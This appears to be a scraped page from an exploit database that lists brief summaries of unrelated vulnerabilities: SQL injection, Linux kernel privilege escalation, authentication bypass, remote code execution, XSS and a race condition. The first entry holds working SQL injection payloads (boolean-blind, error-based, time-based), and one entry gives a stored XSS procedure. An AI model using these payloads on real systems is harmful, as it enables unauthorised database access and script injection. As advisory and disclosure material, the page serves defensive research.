SQL injection on [pickup_location] post parameter. Proof of Concept (PoC): SQLi: https://localhost/[path]/vehicle/ Parameter: pickup_location (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: pickup_location=7 AND 8531=8531&pickup_date=2017-10-24 12:19:35&dropoff_date=2017-10-24 12:19:36 Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: pickup_location=7 AND (SELECT 7390 FROM(SELECT COUNT(*),CONCAT(0x7178787671,(SELECT (ELT(7390=7390,1))),0x71766a6a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)&pickup_date=2017-10-24 12:19:35&dropoff_date=2017-10-24 12:19:36 Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind Payload: pickup_location=7 AND SLEEP(5)&pickup_date=2017-10-24 12:19:35&dropoff_date=2017-10-24 12:19:36
Mikogo is vulnerable to local credentials disclosure, the supplied password is stored as a MD5 hash format in memory process. A potential attacker could reveal the supplied password hash and re-use it or store it via the configuration file in order to gain access to the account.
It was discovered that the Unitrends bpserverd proprietary protocol, as exposed via xinetd, has an issue in which its authentication can be bypassed. A remote attacker could use this issue to execute arbitrary commands with root privilege on the target system.
This exploit is a privilege escalation exploit for Linux kernel. It uses the prepare_kernel_cred and commit_creds functions to gain root access. It first maps the memory at address 0x00000000 and then creates a child process. In the child process, it calls the get_root() and get_shell() functions to gain root access and get a shell.
Kaltura is a web-based open source video platform that allows users to upload, manage, and deliver video content. A vulnerability in Kaltura versions 13.1.0 and earlier allows an attacker to execute arbitrary code on the server. This is due to the application not properly sanitizing user-supplied input when constructing a Zend_Log_Writer_Mail object. An attacker can exploit this vulnerability by sending a maliciously crafted request to the application. This will allow the attacker to execute arbitrary code on the server.
The vulnerability allows remote attackers to waste CPU resources (memory consumption) via unspecified vectors.
The vulnerability was discovered during a vulnerability research lecture. This is meant to be a PoC. It is a Windows Remote Exploit which allows an attacker to execute arbitrary code on the vulnerable system by sending a maliciously crafted FTP request. The exploit is triggered when the vulnerable application attempts to process the FTP request.
A DOM-based XSS vulnerability was discovered in Logitech Media Server, which allows an attacker to inject malicious JavaScript code into the application. The vulnerability exists due to insufficient sanitization of user-supplied input in the 'BODY ONLOAD' parameter. A remote attacker can execute arbitrary HTML and script code in a browser in the context of the vulnerable website. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
First you go to ( http://IP:PORT/ ) In the 'Wireless MAC Filtering' tab. Will add a new MAC Address. In 'Description' it will put the script ( <script>alert('XSS')</script> ) and complete the registration.
Check_MK is vulnerable to an unauthenticated information disclosure through a race condition during the authentication process when trying to authenticate with a valid username and an invalid password. On a failed login, the application calls the function save_users(), which performs two os.rename operations on the files 'contacts.MK.new' and 'users.MK.new' (see /packages/check_MK/check_MK-1.2.8p25/web/htdocs/userdb.py). The race condition occurs when the two os.rename operations are performed concurrently.
Services By CQR